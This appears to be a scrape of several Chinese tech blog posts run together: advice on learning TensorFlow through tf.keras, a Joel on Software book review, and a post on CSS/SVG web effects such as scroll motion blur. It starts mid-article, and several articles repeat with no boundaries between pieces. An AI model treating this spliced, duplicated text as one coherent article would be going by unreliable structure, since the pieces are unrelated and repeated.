順帶補充一下,如果你有聽過 Keras,好奇 Keras 跟 tf.keras 的關係,可以看看這篇 - Keras vs. tf.keras: What’s the difference in TensorFlow 2.0?。但你如果懶得看,簡單 summary 就是,用 tf.keras 就對啦!
上面的 low-level API 範例中,有看到 session 這個東西,其實 session 這個東西,只要你了解 computational graph,就非常直觀,而這也是在寫 TF code 的時候一定要很清楚的基本觀念。
避免重複花時間說明別人已經講得很清楚的東西,直接上個影片,看完就能了解 computation graph 是什麼:
然後如何跟 session 的觀念接起來,請看:The Low/Mid-Level API: Building Computational Graphs and Sessions。用一句話說就是,先建立好 computation graph,然後 session 會執行你建立的 graph。
TF 的其中一個強大之處,在於他有很多 API,但這也大大增加了這個工具的複雜度,讓學習曲線大幅變陡。而為了在學習新的 API、或是上網找各種解答時不混亂,心中有個大地圖是非常重要的:
有這個大地圖,你未來在看到各種 API 就不會混亂,你可以先找出那個 API 的定位,想想是不是你需要的,如果不是你要的,那就不需要去弄懂,你也就不會有覺得有很多東西要學的混亂感。上圖出自 Ekaba Bisong 的網站。
上面說了這麼多,歸根究底也只能稍微幫助大家更容易上手 TF。要能靈活應用,還是要動手多用 TF 去做你有興趣的 project,然後在過程中,自然會學會越來越多 TF 的細節,這樣你就能找到專屬於自己的 TF 學習道路!
以上是我覺得要把 TF 學好的幾個重點,也鼓勵大家在看這篇文章的時候,meta-learning 一下,想想看自己有沒有學習其他東西很卡的經歷,如果有,那很卡的原因是什麼呢?能否也像上面拆解學 TF 很卡的原因一樣拆解開來?
例如你是不是從太困難的路徑開始學習,也許能找到其他教學或比較簡單的起點?還是你可能缺少了一些基本的重要觀念,使得很多東西看起來都不直覺?又或是你心中沒有一個大地圖能幫你定位看到的各種東西,所以你越學越混亂?
當你對 meta-learning 越來越有經驗,你就能越來越有效率地移除自己學習路上的障礙,不僅省下大量時間,也減少過程中的痛苦。祝大家都能越來越會 meta-learning,天天學習,天天開心!
如果你有使用過 Tensorflow(以下簡稱 TF),特別是很前期的 API,你有很高機率也經歷過一段痛苦的學習經驗,有這種體驗的你並不孤單,一方面是 TF low-level API 的使用邏輯不是很符合直覺(API 文件也寫得不是很清楚),另一方面是隨著 TF 的演進,同樣的目的,做法可能有好幾種,所以在網路上 google 程式碼的時候,可能會被各種不同的寫法搞得頭昏眼花(tf.layer、tf.estimator、tf.keras 或直接用 low-level API 實現),這些模模糊糊的觀念全部攪在一起,最後得到一團 TF 漿糊。
不過,TF 仍然是一個很強大的工具,也因為有這個工具,只要找到好的學習方法,使用得當,還是可以節省大家未來很多時間,所以,就讓我嘗試寫一篇文章,來試圖減緩一下 TF 的學習曲線吧!
這篇文章的目的純粹是為了降低 TF 的學習難度,如果你想直接用 PyTorch 等其他工具,那也很好。
根據我使用過 Caffe、Tensorflow 跟 PyTorch 的經驗,我覺得能夠從 high-level API 入門是很重要的,因為剛開始實作各種 neural network(以下簡稱 NN),從最 high-level 的角度去看才能有掌握整體的感覺,所謂 high-level,就是你只需要看到這個 NN 的 input/output 是什麼、中間層有幾層、loss/optimizer 是什麼,然後就開始往你的目標前進。
以 tf.keras 的 API 舉例,假設你想要分類 MNIST dataset 裡面的手寫數字,最核心的 model 定義就像下面這樣(完整 source code 見此):
# 定義 model
model = tf.keras.models.Sequential([
tf.keras.layers.Flatten(input_shape=(28, 28, 1)),
tf.keras.layers.Dense(128,activation='relu'),
tf.keras.layers.Dense(10, activation='softmax')
])
# 指定 loss、optimizer
model.compile(
loss='sparse_categorical_crossentropy',
optimizer=tf.keras.optimizers.Adam(0.001),
metrics=['accuracy'],
)
# 開始 train model:使用 ds_train dataset,跑 6 個 epoch
# 使用 ds_test 做 validation
model.fit(
ds_train,
epochs=6,
validation_data=ds_test,
)
是不是很直覺呢?原因是,上面的 code 跟你腦海中,NN 是怎麼建構、進而開始訓練的 flow 是很接近的。
可是,如果使用比較 low-level 的 API,你會不自覺地被迫離開 "只在乎 NN 基本 flow" 的狀態,同樣以一個可以分類 MNIST 數字的 model 為例,只是這次是用 low-level API(完整 source code 在此):
# 定義 model
def neural_net(x):
layer_1 = tf.add(tf.matmul(x, weights['h1']), biases['b1'])
layer_2 = tf.add(tf.matmul(layer_1, weights['h2']), biases['b2'])
out_layer = tf.matmul(layer_2, weights['out']) + biases['out']
return out_layer
# 建立 model 的輸出
logits = neural_net(X)
prediction = tf.nn.softmax(logits)
# 指定 loss、optimizer
loss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(
logits=logits, labels=Y))
optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)
# 把 optimizer 跟 loss_op 接起來(嗯,已經開始有點不直覺了,有 predictions、又有 loss_op、現在還要多一個 train_op,怎麼那麼多層)
train_op = optimizer.minimize(loss_op)
# 指定初始化 model 參數的負責人
init = tf.global_variables_initializer()
# 準備開始 training(hmmm....session 是啥?)
with tf.Session() as sess:
# 初始化 model 參數
sess.run(init)
for step in range(1, num_steps+1):
batch_x, batch_y = mnist.train.next_batch(batch_size)
# 實際 training
sess.run(train_op, feed_dict={X: batch_x, Y: batch_y})
雖然乍看之下,大部分東西都一樣啊,可是,寫程式是一個很要求精確的心理活動,雖然只有幾個小地方閱讀起來不順暢,但這種不清楚知道所有事情的感覺會讓心裡的模糊資訊增加,最後就會讓更大的程式變成一團混亂。
你可能會說,上層的 API 把一堆東西都包起來,以透徹理解系統的角度來說,其實還不是很不精確?
確實沒錯。但是,我覺得使用工具的一個重點就在於,你不需要知道這個工具的所有細節,只要理解到一定程度,能利用這個工具達成目的就好,而包得好的 API 就是讓你很自然地不需要想到工具的細節。以筆電為例,如果你今天想要寫程式,你只需要開機、打開 IDE,就可以開始寫程式,是因為開機跟打開 IDE 都已經被包成很 high-level 的行為了。假設現在電腦還很原始,你為了開機,得找出對的電線,把對的電線接起來,還要插上開機磁碟,才能開機,寫程式這項 task 的複雜度是不是突然就上升很多?High-level API 的重點就在於降低 task 的複雜度,除非必要,不然你只要會按開機按鈕跟開 IDE 就好。
所以,我個人很推薦從 tf.keras 開始,因為他的 API 讓使用上很符合直覺,你就不需要費太多心思去管 high-level flow 以外的細節。事實上,這也是 TF 目前官方 tutorial 給初學者的建議,但基於我的經驗,還是希望把這段分析寫出來,如果你也曾經被 TF 嚇到過,tf.keras 是一個讓你重拾 TF 的好東西。
順帶補充一下,如果你有聽過 Keras,好奇 Keras 跟 tf.keras 的關係,可以看看這篇 - Keras vs. tf.keras: What’s the difference in TensorFlow 2.0?。但你如果懶得看,簡單 summary 就是,用 tf.keras 就對啦!
上面的 low-level API 範例中,有看到 session 這個東西,其實 session 這個東西,只要你了解 computational graph,就非常直觀,而這也是在寫 TF code 的時候一定要很清楚的基本觀念。
避免重複花時間說明別人已經講得很清楚的東西,直接上個影片,看完就能了解 computation graph 是什麼:
然後如何跟 session 的觀念接起來,請看:The Low/Mid-Level API: Building Computational Graphs and Sessions。用一句話說就是,先建立好 computation graph,然後 session 會執行你建立的 graph。
TF 的其中一個強大之處,在於他有很多 API,但這也大大增加了這個工具的複雜度,讓學習曲線大幅變陡。而為了在學習新的 API、或是上網找各種解答時不混亂,心中有個大地圖是非常重要的:
有這個大地圖,你未來在看到各種 API 就不會混亂,你可以先找出那個 API 的定位,想想是不是你需要的,如果不是你要的,那就不需要去弄懂,你也就不會有覺得有很多東西要學的混亂感。上圖出自 Ekaba Bisong 的網站。
上面說了這麼多,歸根究底也只能稍微幫助大家更容易上手 TF。要能靈活應用,還是要動手多用 TF 去做你有興趣的 project,然後在過程中,自然會學會越來越多 TF 的細節,這樣你就能找到專屬於自己的 TF 學習道路!
以上是我覺得要把 TF 學好的幾個重點,也鼓勵大家在看這篇文章的時候,meta-learning 一下,想想看自己有沒有學習其他東西很卡的經歷,如果有,那很卡的原因是什麼呢?能否也像上面拆解學 TF 很卡的原因一樣拆解開來?
例如你是不是從太困難的路徑開始學習,也許能找到其他教學或比較簡單的起點?還是你可能缺少了一些基本的重要觀念,使得很多東西看起來都不直覺?又或是你心中沒有一個大地圖能幫你定位看到的各種東西,所以你越學越混亂?
當你對 meta-learning 越來越有經驗,你就能越來越有效率地移除自己學習路上的障礙,不僅省下大量時間,也減少過程中的痛苦。祝大家都能越來越會 meta-learning,天天學習,天天開心!
在程式設計和軟體開發的圈子中,有幾本經典的書籍即便在資訊科技快速變遷的時代中仍歷久彌新(你第一個在腦海中浮現的可能是人月神話等書)。這次要為讀者們介紹的是筆者最近又重新閱讀的 Joel on Software 約耳趣談軟體這本書(有中文譯本,但已停止出版)。事實上,這本書還有一本續集 More Joel on Software 約耳續談軟體。Joel on Software 約耳趣談軟體,主要是談論軟體專案管理以及人才培訓與軟體創業經營的議題,而約耳續談軟體主要是討論軟體開發人員的職涯規劃和發展等議題。兩本都是值得軟體開發人員一讀的好書。
在介紹這本書的內容之前,我們先來介紹這位作者 Joel Spolsky。有些讀者可能沒有聽過 Joel 的大名,但事實上 Joel 是知名程式設計問答平台 Stack Overflow 和看板軟體 Trello 的共同創辦人,也曾參與 Microsoft 的 Excel 應用開發,同時也是早期非常知名的技術部落客和作者,特別的是他後來移居紐約開創事業而非傳統的加州矽谷灣區,同樣跳脫了一般人的思考框架。
書中的內容主要是整合 Joel on Software blog 部落格的內容並額外新增一些新的主題。書中使用輕鬆詼諧的文筆介紹軟體開發和專案管理的相關議題討論,除了有些技術探討的章節外不會覺得太過生硬。接下來本文會摘錄一些書中重要的內容和觀念以及加入筆者個人自己的一些心得進行分享。
作者在開頭導讀用一個有趣的虛構小故事點出許多軟體開發人員在職涯中時常會遇到的難題:在公司組織內要繼續當一個獨立貢獻者(Individual Contributors)還是轉作管理職?
引言中一位技術優秀的軟體工程師在面對主管去高空彈跳受傷後接任管理者的角色,每天工作大部分時間面對的不再是單純的技術問題、程式碼和學習新的技術,而是大部分的時間要應付西裝筆挺的 BD、業務、奇裝異服的設計師以及高層老闆等牛鬼蛇神,更別提的是每天開不完的例行會議和團隊成員的 1-1 meeting
以及績效考核評比。
此時許多開發人員會不禁內心吶喊:為何不能只專心寫好程式就好?
優秀的軟體開發者要成為同樣優秀的專案管理者需要補足額外的技能(例如:商業知識、產品思維、心理學和領導管理能力等)
如果你真的無法逃避成為專案的管理者又不想落入彼得原理 Peter Principle的窠臼當中,不妨用約耳測試(Joel Test
)當作一個檢視目前團隊中軟體開發品質作為努力的方向(雖然作者提出這個觀點年代是在西元 2000 年左右,但目前來看仍有許多參考價值,不得不佩服作者的一些前瞻的眼光)。以下摘錄一些書中重要的內容以及加入筆者個人自己的一些心得進行分享。
Git
等版本控制工具呢?Scrum
甚至是其他的軟體開發方法論,透過 issue/bug tracking 系統可以更容易追蹤並管理團隊和系統遇到的問題,不會讓問題漂浮在個別成員的腦海中或是散落在各地。從今天開始就選一套喜歡的 issue 追蹤管理系統,並寫好如何 reproduce 重製問題、預期的行為、發生的錯誤、問題負責人以及目前的狀態(也可以因此評估問題是否真的值得需要被解決)。scope creep
)。試試看選擇一個好用的工具同步更新專案時程表,評估預計時間和真正花費的時間以及任務的優先順序並持續更新,漸漸的就會對於時程的掌握越來越精準。記得要讓該任務的實際負責人來評估時程並要求把任務切分成(break down)足夠小的細項,並加入整合、除錯以及國定假日等彈性緩衝時間才不會讓評估失真。以上評比若有的話可以得一分,最後算出得分總分幾分。若是分數越高穩定交付產品的紀律團隊(若是剛起步的新創團隊當然要一次到位十分困難,所以一步步進步也是一個很好的開始)。當然這個評估也只能是參考性質,若是評估分數很高,但組織內部有複雜的政治性問題和微觀管理(Micromanagement
),也有可能導致團隊的效率和產出十分不穩定。
很多專案管理者都曾幻想若能像麥當勞一樣透過強大的 SOP 在世界每一個角落就可以製作出一模一樣的品質的軟體(薯條)。然而,軟體開發本質是人,如同筆者之前在 The Zen Programmer 程式設計之禪書摘 所提到的程式開發背後是透過人來進行,人的狀態往往會影響程式設計品質良窳,人在憤怒、情緒不穩定和極度高壓力下往往寫出的程式品質會有許多問題。關於人的問題雖然可以我們可以設計出一些方法論和工具來提升軟體專案管理和開發的效率但畢竟軟體開發跟單純的炸薯條來說變因相對難控制。
此外,不同的軟體有不同的世界,開發 C2C 的網路軟體和 B2B 套裝應用程式、內部用工具,甚至是嵌入式系統、遊戲開發、用過即丟的軟體等,每一個世界會遇到不同的問題,所以也很難把所有的思考框架和解決方式套用在不同地方。理解並尊重不同世界會遇到的問題並努力和團隊一起學習找出問題的可能解決方式,邊開火邊移動,持續改善或許是更好的方式。
對許多軟體開發人員來說寫規格和寫文件是一件很排斥的事情:我是來寫程式的又不是來寫文件的。然而對於程式開發人員來說,寫出良好的程式和文件其實是一體兩面的事情,寫程式和寫文件一樣不單只是自己要能看得懂,重點是要讓其他工作人員也能理解並閱讀。此外,軟體開發本質上有很多情況會需要非同步的溝通:不管是在公司內部 issue tracking board 上的留言更新或是 Scrum 看板的任務描述,甚至是回覆不認識的開源程式碼的使用者來信、開源程式碼的使用文件和技術推廣理念等都十分仰賴好良好的寫作能力。
試想若是 Linux 或知名的開源程式碼的開發者沒有具備良好的溝通或是寫作能力,如何能將自己的軟體或是理念傳播出去產生影響力呢?
作者也表示會把寫作力不好的同仁送到寫作班進行訓練。雖然這可能只是玩笑話,但也再次強調寫作力和溝通表達能力對於軟體開發人員的重要性。如果你也是一個想在軟體開發和程式設計領域持續學習,追求卓越的開發者,歡迎一起加入CoderBridge 技術內容創作分享社群,分享你的觀點和學習心得,讓我們一起變得更強。把心得和觀點組織紀錄並分享出來,最後受惠最多的也會是你自己!
以上簡單整理了約耳趣談軟體(Joel on Software)導讀書摘,接下來筆者會持續透過閱讀分享更多經典的軟體開發和程式設計、專案管理以及產品設計書籍與讀者分享。優秀的軟體開發者要成為同樣優秀的專案管理者需要補足額外的技能,透過更多元的視野也會慢慢理解到什麼時候該先用 workaround 解決方法再慢慢修正問題以及如何面對專案管理和技術選擇的決策。若讀者有建議提醒或是新的想法也歡迎一起交流討論!
在程式設計和軟體開發的圈子中,有幾本經典的書籍即便在資訊科技快速變遷的時代中仍歷久彌新(你第一個在腦海中浮現的可能是人月神話等書)。這次要為讀者們介紹的是筆者最近又重新閱讀的 Joel on Software 約耳趣談軟體這本書(有中文譯本,但已停止出版)。事實上,這本書還有一本續集 More Joel on Software 約耳續談軟體。Joel on Software 約耳趣談軟體,主要是談論軟體專案管理以及人才培訓與軟體創業經營的議題,而約耳續談軟體主要是討論軟體開發人員的職涯規劃和發展等議題。兩本都是值得軟體開發人員一讀的好書。
在介紹這本書的內容之前,我們先來介紹這位作者 Joel Spolsky。有些讀者可能沒有聽過 Joel 的大名,但事實上 Joel 是知名程式設計問答平台 Stack Overflow 和看板軟體 Trello 的共同創辦人,也曾參與 Microsoft 的 Excel 應用開發,同時也是早期非常知名的技術部落客和作者,特別的是他後來移居紐約開創事業而非傳統的加州矽谷灣區,同樣跳脫了一般人的思考框架。
書中的內容主要是整合 Joel on Software blog 部落格的內容並額外新增一些新的主題。書中使用輕鬆詼諧的文筆介紹軟體開發和專案管理的相關議題討論,除了有些技術探討的章節外不會覺得太過生硬。接下來本文會摘錄一些書中重要的內容和觀念以及加入筆者個人自己的一些心得進行分享。
作者在開頭導讀用一個有趣的虛構小故事點出許多軟體開發人員在職涯中時常會遇到的難題:在公司組織內要繼續當一個獨立貢獻者(Individual Contributors)還是轉作管理職?
引言中一位技術優秀的軟體工程師在面對主管去高空彈跳受傷後接任管理者的角色,每天工作大部分時間面對的不再是單純的技術問題、程式碼和學習新的技術,而是大部分的時間要應付西裝筆挺的 BD、業務、奇裝異服的設計師以及高層老闆等牛鬼蛇神,更別提的是每天開不完的例行會議和團隊成員的 1-1 meeting
以及績效考核評比。
此時許多開發人員會不禁內心吶喊:為何不能只專心寫好程式就好?
優秀的軟體開發者要成為同樣優秀的專案管理者需要補足額外的技能(例如:商業知識、產品思維、心理學和領導管理能力等)
如果你真的無法逃避成為專案的管理者又不想落入彼得原理 Peter Principle的窠臼當中,不妨用約耳測試(Joel Test
)當作一個檢視目前團隊中軟體開發品質作為努力的方向(雖然作者提出這個觀點年代是在西元 2000 年左右,但目前來看仍有許多參考價值,不得不佩服作者的一些前瞻的眼光)。以下摘錄一些書中重要的內容以及加入筆者個人自己的一些心得進行分享。
Git
等版本控制工具呢?Scrum
甚至是其他的軟體開發方法論,透過 issue/bug tracking 系統可以更容易追蹤並管理團隊和系統遇到的問題,不會讓問題漂浮在個別成員的腦海中或是散落在各地。從今天開始就選一套喜歡的 issue 追蹤管理系統,並寫好如何 reproduce 重製問題、預期的行為、發生的錯誤、問題負責人以及目前的狀態(也可以因此評估問題是否真的值得需要被解決)。scope creep
)。試試看選擇一個好用的工具同步更新專案時程表,評估預計時間和真正花費的時間以及任務的優先順序並持續更新,漸漸的就會對於時程的掌握越來越精準。記得要讓該任務的實際負責人來評估時程並要求把任務切分成(break down)足夠小的細項,並加入整合、除錯以及國定假日等彈性緩衝時間才不會讓評估失真。以上評比若有的話可以得一分,最後算出得分總分幾分。若是分數越高穩定交付產品的紀律團隊(若是剛起步的新創團隊當然要一次到位十分困難,所以一步步進步也是一個很好的開始)。當然這個評估也只能是參考性質,若是評估分數很高,但組織內部有複雜的政治性問題和微觀管理(Micromanagement
),也有可能導致團隊的效率和產出十分不穩定。
很多專案管理者都曾幻想若能像麥當勞一樣透過強大的 SOP 在世界每一個角落就可以製作出一模一樣的品質的軟體(薯條)。然而,軟體開發本質是人,如同筆者之前在 The Zen Programmer 程式設計之禪書摘 所提到的程式開發背後是透過人來進行,人的狀態往往會影響程式設計品質良窳,人在憤怒、情緒不穩定和極度高壓力下往往寫出的程式品質會有許多問題。關於人的問題雖然可以我們可以設計出一些方法論和工具來提升軟體專案管理和開發的效率但畢竟軟體開發跟單純的炸薯條來說變因相對難控制。
此外,不同的軟體有不同的世界,開發 C2C 的網路軟體和 B2B 套裝應用程式、內部用工具,甚至是嵌入式系統、遊戲開發、用過即丟的軟體等,每一個世界會遇到不同的問題,所以也很難把所有的思考框架和解決方式套用在不同地方。理解並尊重不同世界會遇到的問題並努力和團隊一起學習找出問題的可能解決方式,邊開火邊移動,持續改善或許是更好的方式。
對許多軟體開發人員來說寫規格和寫文件是一件很排斥的事情:我是來寫程式的又不是來寫文件的。然而對於程式開發人員來說,寫出良好的程式和文件其實是一體兩面的事情,寫程式和寫文件一樣不單只是自己要能看得懂,重點是要讓其他工作人員也能理解並閱讀。此外,軟體開發本質上有很多情況會需要非同步的溝通:不管是在公司內部 issue tracking board 上的留言更新或是 Scrum 看板的任務描述,甚至是回覆不認識的開源程式碼的使用者來信、開源程式碼的使用文件和技術推廣理念等都十分仰賴好良好的寫作能力。
試想若是 Linux 或知名的開源程式碼的開發者沒有具備良好的溝通或是寫作能力,如何能將自己的軟體或是理念傳播出去產生影響力呢?
作者也表示會把寫作力不好的同仁送到寫作班進行訓練。雖然這可能只是玩笑話,但也再次強調寫作力和溝通表達能力對於軟體開發人員的重要性。如果你也是一個想在軟體開發和程式設計領域持續學習,追求卓越的開發者,歡迎一起加入CoderBridge 技術內容創作分享社群,分享你的觀點和學習心得,讓我們一起變得更強。把心得和觀點組織紀錄並分享出來,最後受惠最多的也會是你自己!
以上簡單整理了約耳趣談軟體(Joel on Software)導讀書摘,接下來筆者會持續透過閱讀分享更多經典的軟體開發和程式設計、專案管理以及產品設計書籍與讀者分享。優秀的軟體開發者要成為同樣優秀的專案管理者需要補足額外的技能,透過更多元的視野也會慢慢理解到什麼時候該先用 workaround 解決方法再慢慢修正問題以及如何面對專案管理和技術選擇的決策。若讀者有建議提醒或是新的想法也歡迎一起交流討論!
很多人可能會認為前端工程師對於美感都有一定的水準,甚至應該要會一點點設計,但現實中應該有很大一部分的前端工程師跟我一樣,其實負責處理狀態管理居多,對設計沒有太多的著墨。
雖然現實是如此,我個人還是非常喜歡欣賞網路上大神們透過 CSS、Web API 所創作的東西,今天就來分享幾個我這陣子看到覺得蠻有趣的 WEB 特效與技巧!
忘了是從哪裡看到這個網站 - Motion Blur Scrolling Demo,驚為天人,雖然看了其實眼睛會不太舒服,但特效實在太酷,無法大聲斥責。
作者的程式碼公開在此:motionblur,我把一些看來是作者嘗試做的優化拿掉,擷取重點來解釋,大家也可以到 CodeSandbox 查看程式碼與把玩 Demo
不過要注意一點,這個特效只有在電腦版的 Chrome 與 Edge 上表現最好,firefox 還 ok,Safari 則是完全崩潰,電腦或手機都無法呈現效果。
從名稱應該就能看出端倪,既然是 motion "blur",自然會想到 CSS 的 filter:blur()
屬性,blur()
接受單一數值,例如:5px
,不能是百分比,數值越大越模糊:
image source: MDN - filter
模糊是有了,但 blur
的模糊感覺跟範例中的 motion blur 好像有點差距,要讓畫面在上下捲動時,有拉長模糊的感覺才對,這種整片均勻模糊的樣子似乎不太對呀?
要解開這個謎題,得先提到一個可能較少為人知的知識:像 blur
這種 filter-function
的屬性大多都有對應的 svg-filter
,透過 svg-filter
你就能更細緻的調整參數。使用方式則為在你想要套用 filter 效果的 DOM 元件上,用 filter: url()
來指定 svg 的 id,e.g.:
<body style="filter: url("#9isnV");">
以 blur(5px)
來說,其內部是用高斯函數的標準偏差值(stdDeviation)來決定畫面上多少 pixels 會互相交錯融合,對應的 svg 為:
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
<filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%">
<feGaussianBlur in="SourceGraphic" stdDeviation="5"/>
</filter>
</svg>
調整 stdDeviation
就能有比起單純用 blur(5px)
更豐富的效果,而根據 MDN 資料,stdDeviation
的 type 是 <number-optional-number>
,也就是其實他能有第二個參數,當提供兩個參數時,一個會代表 x 軸的標準偏差值,一個則是 y 軸的。
所以謎題就揭曉了,要做出上下拉長的模糊化,我們可以調整 stdDeviation
的 y 軸值,這也是整個特效的重點。
如果把 y 值設大,例如 20,畫面就會變成這樣:
<feGaussianBlur in="SourceGraphic" stdDeviation="0,20"/>
因此,要做出 motion blur,就是在 scroll 的時候調整 y 值。
把調整 y 值的函式綁定到 scroll
event 的 listener,並根據捲軸捲動的位置變化差距來決定 y 軸值的大小,就能造就出範例中那種動越快越模糊的 motion blur 效果(scroll event listner 的實作不難,可以到 codesandbox 查看):
// 核心程式碼
export function initializeBodyScrollMotionBlur() {
// 動態創建 svg filter DOM 元素,將其存到 bodyBlur 物件
const bodyBlur = createBlurSvg();
// 將 svg filter 綁定到 body 上
bodyBlur.applyTo(document.body);
initializeScrollSpeedWatcher(document.documentElement, (speed) => {
// 註冊 scroll event listener,計算捲軸滾動速度,在滑動時更改 filter DOM stdDeviation attribute。
// 因為我們只需要改 y 軸的值,所以 x 固定為 0
bodyBlur.setBlur({ x: 0, y: Math.abs(speed.y / 2) });
});
}
See the Pen Motion-blur-test by Arvin (@arvin0731) on CodePen.
雖然不太實用,但理解原理後還是會覺得這真的是個有趣又不太難的效果!
第二個想分享的在我平常訂閱的週刊 - Frontend Horse 看到的範例,united sodas 的網站:
透過 GIF 可能看起來不是很清楚,但實際在網站上的效果很不錯,真的有罐子旋轉的感覺。
要讓 DOM object 呈現 3D 有不少做法,利用 CSS 的 3D transforms、perspective 搭配 translate、rotate 就可以,然而週刊的作者提出的作法我覺得更為簡單且有趣,與其真的去旋轉物件,不如利用人眼錯覺,固定住 3D 模樣的罐子,只讓上方的 label 文字滾動。
具體做法如下:
找一個包含陰影的透明罐子圖案(如下圖):
以及罐子的 Label 包裝圖片:
將 Label 圖片疊加在罐子上,利用 JS 讓滾輪滾動時,將圖片從罐子右邊移至左邊。
重點在於最後要利用 clip-path
來製造出一個 svg mask,把圖片修整成貼合罐子的樣子,就可以完成這個滑順的轉動動畫!
週刊作者有提供一個 codepen 連結,可以試著把 Clip Path On
的 checkbox 開啟關閉,應該能清楚了解整體概念:
See the Pen 3D rolling can demo from Alex Trost by Arvin (@arvin0731) on CodePen.
本週最後一個要分享的是從 css-doodle 的作者 blog 上看到的小技巧,這是作者發現在電腦視覺的 Shader 中,經常利用 Time Uniforms 的方式去控制動畫,這跟一般 CSS @keyframes 透過指定各時間點的屬性變化,利用 interpolation 來形成動畫的方式是不同的思考方式。
然而在 Web 世界中,其實能利用 CSS Houdini 的 @property API 與 CSS @Keyframes
,製作出一個能隨著時間變化其值的 custom property,如此一來就能達成類似 time uniforms 的方法,統一依照時間來控制所有 DOM 物件的動畫:
首先利用 @property
API 客製化屬性:
@property --t {
syntax: "<number>";
initial-value: 0;
inherits: true;
}
透過 @keyfames
來 anitmate 客制屬性,這邊時間用 31536000000
是因為作者想營造無限時間的動畫,用一年為區間算是個很足夠長的模擬方式:
@keyframes animate-time {
from { --t: 0 }
to { --t: 31536000000 }
}
最後將 keyframes 動畫放到 :root
中,這樣所有的 css class 所吃到的 --t
就會是不斷隨著時間而更動的值,此外, anmiation 的 druation 同樣設為一年,時間才會同步:
:root {
animation: animate-time 31536000000ms linear infinite;
}
最後在任意的 element 上頭,只要利用變動的 --t
就能在不另外指定 keyframes 的狀況下一樣產生動畫:
element {
transform: rotate(
calc(var(--t) / 1000 / 10 * 1turn)
);
}
同樣的 --t
值,同時套用在其他元素動畫上時,就能營造出利用 time uniforms 來製造動畫的效果。
附上作者的 codepen 範例:
See the Pen Demo #1 for article (Chrome only) by yuanchuan (@yuanchuan) on CodePen.
今天分享了三個我這週發現的有趣特效與小技巧,雖然沒有自己真正實作,但觀摩別人的創意與程式碼也能學習到非常多,除了當工作上需要使用到類似效果時,會有印象可以怎麼做之外,或許也能讓你舉一反三,融合這些技巧,製作出別出心裁的特效也說不定呢!
很多人可能會認為前端工程師對於美感都有一定的水準,甚至應該要會一點點設計,但現實中應該有很大一部分的前端工程師跟我一樣,其實負責處理狀態管理居多,對設計沒有太多的著墨。
雖然現實是如此,我個人還是非常喜歡欣賞網路上大神們透過 CSS、Web API 所創作的東西,今天就來分享幾個我這陣子看到覺得蠻有趣的 WEB 特效與技巧!
忘了是從哪裡看到這個網站 - Motion Blur Scrolling Demo,驚為天人,雖然看了其實眼睛會不太舒服,但特效實在太酷,無法大聲斥責。
作者的程式碼公開在此:motionblur,我把一些看來是作者嘗試做的優化拿掉,擷取重點來解釋,大家也可以到 CodeSandbox 查看程式碼與把玩 Demo
不過要注意一點,這個特效只有在電腦版的 Chrome 與 Edge 上表現最好,firefox 還 ok,Safari 則是完全崩潰,電腦或手機都無法呈現效果。
從名稱應該就能看出端倪,既然是 motion "blur",自然會想到 CSS 的 filter:blur()
屬性,blur()
接受單一數值,例如:5px
,不能是百分比,數值越大越模糊:
image source: MDN - filter
模糊是有了,但 blur
的模糊感覺跟範例中的 motion blur 好像有點差距,要讓畫面在上下捲動時,有拉長模糊的感覺才對,這種整片均勻模糊的樣子似乎不太對呀?
要解開這個謎題,得先提到一個可能較少為人知的知識:像 blur
這種 filter-function
的屬性大多都有對應的 svg-filter
,透過 svg-filter
你就能更細緻的調整參數。使用方式則為在你想要套用 filter 效果的 DOM 元件上,用 filter: url()
來指定 svg 的 id,e.g.:
<body style="filter: url("#9isnV");">
以 blur(5px)
來說,其內部是用高斯函數的標準偏差值(stdDeviation)來決定畫面上多少 pixels 會互相交錯融合,對應的 svg 為:
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
<filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%">
<feGaussianBlur in="SourceGraphic" stdDeviation="5"/>
</filter>
</svg>
調整 stdDeviation
就能有比起單純用 blur(5px)
更豐富的效果,而根據 MDN 資料,stdDeviation
的 type 是 <number-optional-number>
,也就是其實他能有第二個參數,當提供兩個參數時,一個會代表 x 軸的標準偏差值,一個則是 y 軸的。
所以謎題就揭曉了,要做出上下拉長的模糊化,我們可以調整 stdDeviation
的 y 軸值,這也是整個特效的重點。
如果把 y 值設大,例如 20,畫面就會變成這樣:
<feGaussianBlur in="SourceGraphic" stdDeviation="0,20"/>
因此,要做出 motion blur,就是在 scroll 的時候調整 y 值。
把調整 y 值的函式綁定到 scroll
event 的 listener,並根據捲軸捲動的位置變化差距來決定 y 軸值的大小,就能造就出範例中那種動越快越模糊的 motion blur 效果(scroll event listner 的實作不難,可以到 codesandbox 查看):
// 核心程式碼
export function initializeBodyScrollMotionBlur() {
// 動態創建 svg filter DOM 元素,將其存到 bodyBlur 物件
const bodyBlur = createBlurSvg();
// 將 svg filter 綁定到 body 上
bodyBlur.applyTo(document.body);
initializeScrollSpeedWatcher(document.documentElement, (speed) => {
// 註冊 scroll event listener,計算捲軸滾動速度,在滑動時更改 filter DOM stdDeviation attribute。
// 因為我們只需要改 y 軸的值,所以 x 固定為 0
bodyBlur.setBlur({ x: 0, y: Math.abs(speed.y / 2) });
});
}
See the Pen Motion-blur-test by Arvin (@arvin0731) on CodePen.
雖然不太實用,但理解原理後還是會覺得這真的是個有趣又不太難的效果!
第二個想分享的在我平常訂閱的週刊 - Frontend Horse 看到的範例,united sodas 的網站:
透過 GIF 可能看起來不是很清楚,但實際在網站上的效果很不錯,真的有罐子旋轉的感覺。
要讓 DOM object 呈現 3D 有不少做法,利用 CSS 的 3D transforms、perspective 搭配 translate、rotate 就可以,然而週刊的作者提出的作法我覺得更為簡單且有趣,與其真的去旋轉物件,不如利用人眼錯覺,固定住 3D 模樣的罐子,只讓上方的 label 文字滾動。
具體做法如下:
找一個包含陰影的透明罐子圖案(如下圖):
以及罐子的 Label 包裝圖片:
將 Label 圖片疊加在罐子上,利用 JS 讓滾輪滾動時,將圖片從罐子右邊移至左邊。
重點在於最後要利用 clip-path
來製造出一個 svg mask,把圖片修整成貼合罐子的樣子,就可以完成這個滑順的轉動動畫!
週刊作者有提供一個 codepen 連結,可以試著把 Clip Path On
的 checkbox 開啟關閉,應該能清楚了解整體概念:
See the Pen 3D rolling can demo from Alex Trost by Arvin (@arvin0731) on CodePen.
